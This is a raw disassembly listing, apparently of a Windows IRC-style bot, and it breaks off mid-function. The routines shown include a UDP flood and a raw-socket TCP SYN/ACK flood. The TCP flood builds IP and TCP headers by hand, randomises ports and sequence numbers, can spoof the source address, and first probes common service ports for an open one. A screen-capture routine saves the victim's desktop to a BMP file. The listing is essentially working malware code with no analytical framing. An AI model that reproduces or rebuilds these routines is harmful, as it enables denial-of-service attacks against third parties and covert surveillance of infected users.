idiv ebx push edx ; Val push offset dword_4E64EC ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4E64D0 push [ebp+var_C] call dword_4E315C ; sendto cmp eax, 0FFFFFFFFh jz loc_4154FC inc [ebp+var_4] call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp ebx, eax pop ecx jbe loc_4152F7 loc_415483: ; CODE XREF: sub_4151C6+124j push [ebp+var_C] call dword_4E3190 ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+Str] push eax ; Str imul esi, 41Ch call _atoi pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset asc_44D1C8 ; "-" loc_4154BE: ; CODE XREF: sub_4151C6+34Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h loc_4154CD: ; CODE XREF: sub_4151C6+39j ; sub_4151C6+94j cmp [ebp+arg_20C], edi jnz short loc_4154F5 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_4154F5: ; CODE XREF: sub_4151C6+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4154FC: ; CODE XREF: sub_4151C6+28Bj push [ebp+var_4] push esi call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_44D13C jmp short loc_4154BE sub_4151C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415512 proc near ; DATA XREF: sub_401CC7+63E2o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4E3138 ; inet_addr push eax call sub_4156AF add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_44D22C ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4155A7 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_214] ; int call sub_409D34 add esp, 14h loc_4155A7: ; CODE XREF: sub_415512+73j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_415512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155C6 proc near ; CODE XREF: sub_4156AF+191p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_4155EF push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4F5530 ; connect jmp loc_4156AB ; --------------------------------------------------------------------------- loc_4155EF: ; CODE XREF: sub_4155C6+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4F5514 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4E30A0 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4E30E0 ; select test eax, eax jnz short loc_415653 or eax, 0FFFFFFFFh jmp short loc_4156AB ; --------------------------------------------------------------------------- loc_415653: ; CODE XREF: sub_4155C6+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_41565E loc_41565A: ; CODE XREF: sub_4155C6+B8j ; sub_4155C6+DCj mov eax, edi jmp short loc_4156AB ; --------------------------------------------------------------------------- loc_41565E: ; CODE XREF: sub_4155C6+92j lea eax, [ebp+var_10C] push eax push esi call sub_43ABA2 ; __WSAFDIsSet test eax, eax jnz short loc_415680 lea eax, [ebp+var_210] push eax push esi call sub_43ABA2 ; __WSAFDIsSet test eax, eax jz short loc_41565A loc_415680: ; CODE XREF: sub_4155C6+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4F54FC ; getsockopt cmp eax, edi jz short loc_41565A mov eax, [ebp+var_4] neg eax sbb eax, eax loc_4156AB: ; CODE XREF: sub_4155C6+24j ; sub_4155C6+8Bj ... pop edi pop esi leave retn sub_4155C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156AF proc near ; CODE XREF: sub_415512+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], esi call ds:dword_4F5524 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4E6960, eax call dword_4E30D8 ; setsockopt call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_4157F3: ; CODE XREF: sub_4156AF+1BEj mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4E30F8 ; htons push ebx push esi push 2 mov [ebp+var_9A], ax call dword_4E3178 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_4155C6 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4E3190 ; closesocket cmp [ebp+var_8], ebx jnz short loc_415865 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_415865: ; CODE XREF: sub_4156AF+1A8j add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_4157F3 mov esi, offset byte_4E6964 push offset asc_44D258 ; " " push esi ; Dest call _sprintf mov edi, ds:dword_4F537C pop ecx pop ecx call edi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_415898: ; CODE XREF: sub_4156AF+23Fj call edi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4158F0 mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_4158C9 push eax push esi push offset aSD ; "%s%d " push esi ; Dest mov [ebp+var_10], eax call _sprintf add esp, 10h jmp short loc_4158E3 ; --------------------------------------------------------------------------- loc_4158C9: ; CODE XREF: sub_4156AF+203j push 0FFFFh push ebx call sub_419551 pop ecx pop ecx push eax call dword_4E30F8 ; htons movzx eax, ax mov [ebp+var_10], eax loc_4158E3: ; CODE XREF: sub_4156AF+218j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_415898 loc_4158F0: ; CODE XREF: sub_4156AF+1FAj ; sub_4156AF+46Bj push 28h ; Size push ebx ; Val push offset byte_4E6900 ; Dst call _memset mov esi, 0FFFFh mov byte_4E6900, 45h push esi push 400h mov byte_4E6909, 6 mov byte_4E6901, 8 call sub_419551 add esp, 14h push eax call dword_4E30F8 ; htons push 28h mov word_4E6904, ax call dword_4E30F8 ; htons or byte_4E6908, 0FFh cmp dword_4E68F0, ebx mov word_4E6902, ax mov word_4E6906, bx jnz short loc_415961 push [ebp+arg_0] call sub_415B29 pop ecx jmp short loc_41596C ; --------------------------------------------------------------------------- loc_415961: ; CODE XREF: sub_4156AF+2A5j push offset byte_4E62D0 call dword_4E3138 ; inet_addr loc_41596C: ; CODE XREF: sub_4156AF+2B0j mov dword_4E690C, eax mov eax, [ebp+arg_0] push 4000h mov dword_4E6910, eax mov byte_4E6921, bl call dword_4E30F8 ; htons push esi push ebx mov word_4E6922, ax call sub_419551 mov edi, eax push esi push ebx shl edi, 8 call sub_419551 add esp, 10h add edi, eax push edi call dword_4E30F4 ; htonl mov dword_4E6918, eax mov al, byte_4E6920 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4E6920, al mov ax, word ptr [ebp+var_10] mov dword_4E691C, ebx mov word_4E6926, bx mov word_4E6916, ax mov dword_4E693C, edi mov byte_4E6940, bl mov byte_4E6941, 6 call dword_4E30F8 ; htons mov word_4E6942, ax mov ax, word_4E6916 mov word_4E6928, 2 mov dword_4E692C, edi mov word_4E692A, ax mov [ebp+var_4], ebx jmp short loc_415A22 ; --------------------------------------------------------------------------- loc_415A1D: ; CODE XREF: sub_4156AF+445j mov esi, 0FFFFh loc_415A22: ; CODE XREF: sub_4156AF+36Cj cmp [ebp+var_4], ebx jnz short loc_415A56 push esi push ebx call sub_419551 pop ecx pop ecx push eax call dword_4E30F8 ; htons mov word_4E6914, ax mov eax, dword_4E690C mov dword_4E6938, eax mov byte_4E6921, 2 mov dword_4E691C, ebx jmp short loc_415A75 ; --------------------------------------------------------------------------- loc_415A56: ; CODE XREF: sub_4156AF+376j push esi push ebx mov byte_4E6921, 10h call sub_419551 pop ecx pop ecx push eax call dword_4E30F8 ; htons movzx eax, ax mov dword_4E691C, eax loc_415A75: ; CODE XREF: sub_4156AF+3A5j inc word_4E6904 inc dword_4E6918 mov ax, word_4E6916 push 5 pop ecx mov esi, offset word_4E6914 mov edi, offset dword_4E6944 mov word_4E690A, bx mov word_4E6924, bx push 14h rep movsd mov esi, offset byte_4E6900 mov word_4E692A, ax push esi call sub_40AFCA push 20h push offset dword_4E6938 mov word_4E690A, ax call sub_40AFCA add esp, 10h mov word_4E6924, ax push 10h push offset word_4E6928 push ebx push 28h push esi push dword_4E6960 call dword_4E315C ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_415A1D call ds:dword_4F537C ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415B1F push [ebp+arg_8] call ds:dword_4F534C ; Sleep jmp loc_4158F0 ; --------------------------------------------------------------------------- loc_415B1F: ; CODE XREF: sub_4156AF+460j pop edi pop esi mov eax, offset byte_4E6964 pop ebx leave retn sub_4156AF endp ; =============== S U B R O U T I N E ======================================= sub_415B29 proc near ; CODE XREF: sub_4156AF+2AAp arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_419551 pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_415B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415B47(char *Str2,int) sub_415B47 proc near ; CODE XREF: sub_401CC7+72A8p var_4 = dword ptr -4 Str2 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_455298 mov edi, 0B8h loc_415B5B: ; CODE XREF: sub_415B47+33j cmp byte ptr [esi], 0 jz short loc_415B7E push [ebp+Str2] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_415B7E inc [ebp+var_4] add esi, edi cmp esi, offset dword_455E18 jl short loc_415B5B jmp short loc_415BC0 ; --------------------------------------------------------------------------- loc_415B7E: ; CODE XREF: sub_415B47+17j ; sub_415B47+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi ; Size push 0 ; Val lea ebx, dword_455298[esi] push ebx ; Dst call _memset push 17h ; Count push [ebp+Str2] ; Source push ebx ; Dest call _strncpy push 9Fh ; Count lea eax, dword_4552B0[esi] push [ebp+arg_4] ; Source push eax ; Dest call _strncpy add esp, 24h inc dword_43F494 pop ebx loc_415BC0: ; CODE XREF: sub_415B47+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415B47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415BC7(int,char *Str,int) sub_415BC7 proc near ; CODE XREF: sub_401CC7+28CEp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_44D264 ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h xor edi, edi mov esi, offset dword_455298 loc_415BF1: ; CODE XREF: sub_415BC7+72j cmp byte ptr [esi], 0 jz short loc_415C2C lea eax, [esi+18h] push eax push esi push edi push offset aD_ ; "%d. " lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 2Ch loc_415C2C: ; CODE XREF: sub_415BC7+2Dj add esi, 0B8h inc edi cmp esi, offset dword_455E18 jl short loc_415BF1 pop edi pop esi leave retn sub_415BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C3F proc near ; CODE XREF: WinMain(x,x,x,x)+384p ; WinMain(x,x,x,x)+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_4F5404 ; GetLocalTime mov ebx, offset byte_4EAD68 mov edi, 80h mov esi, offset byte_4E6D68 loc_415C61: ; CODE XREF: sub_415C3F+3Dj cmp byte ptr [ebx], 0 jz short loc_415C78 push 7Fh ; Count lea eax, [ebx+80h] push ebx ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_415C78: ; CODE XREF: sub_415C3F+25j sub ebx, edi cmp ebx, esi jge short loc_415C61 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi ; Count push esi ; Dest call __snprintf add esp, 28h pop edi pop esi pop ebx leave retn sub_415C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415CB3(char *Format,char Args) sub_415CB3 proc near ; CODE XREF: sub_4019E7+F7p ; sub_401CC7:loc_402269p ... Dest = byte ptr -80h Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 14h leave retn sub_415CB3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_415D0E push ebx push dword ptr [ebp+10h] push offset dword_44D2B0 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409D34 add esp, 14h loc_415D0E: ; CODE XREF: .text:00415CF5j cmp [ebp+18h], ebx jz short loc_415D26 push dword ptr [ebp+18h] call _atoi cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_415D26 mov [ebp-8], eax loc_415D26: ; CODE XREF: .text:00415D11j ; .text:00415D21j mov [ebp+14h], ebx mov esi, offset byte_4E6D68 loc_415D2E: ; CODE XREF: .text:00415D76j mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_415D78 cmp [esi], bl jz short loc_415D67 cmp [ebp+18h], ebx jz short loc_415D53 cmp [ebp-4], ebx jnz short loc_415D53 push dword ptr [ebp+18h] push esi call sub_418D9F pop ecx test eax, eax pop ecx jz short loc_415D67 loc_415D53: ; CODE XREF: .text:00415D3Dj ; .text:00415D42j push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_409D34 add esp, 14h loc_415D67: ; CODE XREF: .text:00415D38j ; .text:00415D51j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset byte_4EAD68 jl short loc_415D2E loc_415D78: ; CODE XREF: .text:00415D34j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_415D7C(int,char *Str,int,int) sub_415D7C proc near ; CODE XREF: sub_401CC7+27C5p arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset byte_4E6D68 xor ecx, ecx loc_415D83: ; CODE XREF: sub_415D7C+13j mov [eax], cl add eax, 80h cmp eax, offset byte_4EAD68 jl short loc_415D83 cmp [esp+arg_C], ecx jnz short loc_415DB1 push ecx ; int push [esp+4+arg_8] ; int push offset dword_44D2BC ; int push [esp+0Ch+Str] ; Str push [esp+10h+arg_0] ; int call sub_409D34 add esp, 14h loc_415DB1: ; CODE XREF: sub_415D7C+19j push offset dword_44D2D0 call sub_415C3F pop ecx retn sub_415D7C endp ; --------------------------------------------------------------------------- push esi mov esi, offset byte_4E6D68 loc_415DC3: ; CODE XREF: .text:00415DE4j cmp byte ptr [esi], 0 jz short loc_415DD8 push dword ptr [esp+8] push esi call sub_418D9F pop ecx test eax, eax pop ecx jnz short loc_415DEA loc_415DD8: ; CODE XREF: .text:00415DC6j add esi, 80h cmp esi, offset byte_4EAD68 jl short loc_415DC3 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415DEA: ; CODE XREF: .text:00415DD6j push 1 pop eax pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DEF proc near ; DATA XREF: sub_401CC7+2878o Dest = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_415E42 push edx ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push offset dword_44D2E4 ; int push eax ; Str push [ebp+var_11C] ; int call sub_409D34 add esp, 14h loc_415E42: ; CODE XREF: sub_415DEF+33j cmp [ebp+Str], 0 jz short loc_415E62 lea eax, [ebp+Str] push eax ; Str call _atoi test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415E62 mov [ebp+var_8], eax loc_415E62: ; CODE XREF: sub_415DEF+5Aj ; sub_415DEF+6Ej and [ebp+arg_0], 0 mov esi, offset byte_4E6D68 loc_415E6B: ; CODE XREF: sub_415DEF+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415EC5 cmp byte ptr [esi], 0 jz short loc_415EB4 cmp [ebp+Str], 0 jz short loc_415E9A cmp [ebp+var_4], 0 jnz short loc_415E9A lea eax, [ebp+Str] push eax ; int push esi ; Str call sub_418D9F pop ecx test eax, eax pop ecx jz short loc_415EB4 loc_415E9A: ; CODE XREF: sub_415DEF+90j ; sub_415DEF+96j push edi ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push esi ; int push eax ; Str push [ebp+var_11C] ; int call sub_409D34 add esp, 14h loc_415EB4: ; CODE XREF: sub_415DEF+87j ; sub_415DEF+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset byte_4EAD68 jl short loc_415E6B loc_415EC5: ; CODE XREF: sub_415DEF+82j lea eax, [ebp+Dest] push offset asc_44D300 ; "-" push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415EFF push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+var_118] push eax ; Str push [ebp+var_11C] ; int call sub_409D34 add esp, 14h loc_415EFF: ; CODE XREF: sub_415DEF+EEj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_18] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_415DEF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F1E proc near ; CODE XREF: sub_401CC7+73F8p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4E30E4 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_416152 push 8 push edi call dword_4E3100 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4E3100 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4E3100 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_415F80 push 18h push edi call dword_4E3100 ; GetDeviceCaps mov ebx, 100h jmp short loc_415F82 ; --------------------------------------------------------------------------- loc_415F80: ; CODE XREF: sub_415F1E+50j xor ebx, ebx loc_415F82: ; CODE XREF: sub_415F1E+60j push edi call dword_4E3144 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_416137 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4E313C ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_416142 push eax push [ebp+var_4] call dword_4E2FC8 ; SelectObject cmp eax, esi jz loc_416142 cmp eax, 0FFFFFFFFh jz loc_416142 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4E3140 ; BitBlt test eax, eax jz loc_416142 cmp ebx, esi jz short loc_41603F lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4E301C ; GetDIBColorTable mov ebx, eax loc_41603F: ; CODE XREF: sub_415F1E+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:dword_4F53C0 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_416122 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4F53B4 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile cmp ebx, esi jz short loc_416104 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile loc_416104: ; CODE XREF: sub_415F1E+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile push [ebp+arg_0] call ds:dword_4F533C ; CloseHandle push 1 pop esi loc_416122: ; CODE XREF: sub_415F1E+1A2j push [ebp+var_1C] call dword_4E3054 ; DeleteObject push [ebp+var_4] call dword_4E2FB4 ; DeleteDC mov edi, [ebp+var_20] loc_416137: ; CODE XREF: sub_415F1E+70j push edi call dword_4E2FB4 ; DeleteDC mov eax, esi jmp short loc_416154 ; --------------------------------------------------------------------------- loc_416142: ; CODE XREF: sub_415F1E+C7j ; sub_415F1E+D9j ... push edi call dword_4E2FB4 ; DeleteDC push [ebp+var_4] call dword_4E2FB4 ; DeleteDC loc_416152: ; CODE XREF: sub_415F1E+23j xor eax, eax loc_416154: ; CODE XREF: sub_415F1E+222j pop edi pop esi pop ebx leave retn sub_415F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416159(int,size_t Size,int,int) sub_416159 proc near ; CODE XREF: sub_401CC7+751Fp var_34 = byte ptr -34h var_20 = dword ptr -20h Memory = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4EAD6C push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4E3048 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_416197 mov eax, esi jmp loc_41634D ; --------------------------------------------------------------------------- loc_416197: ; CODE XREF: 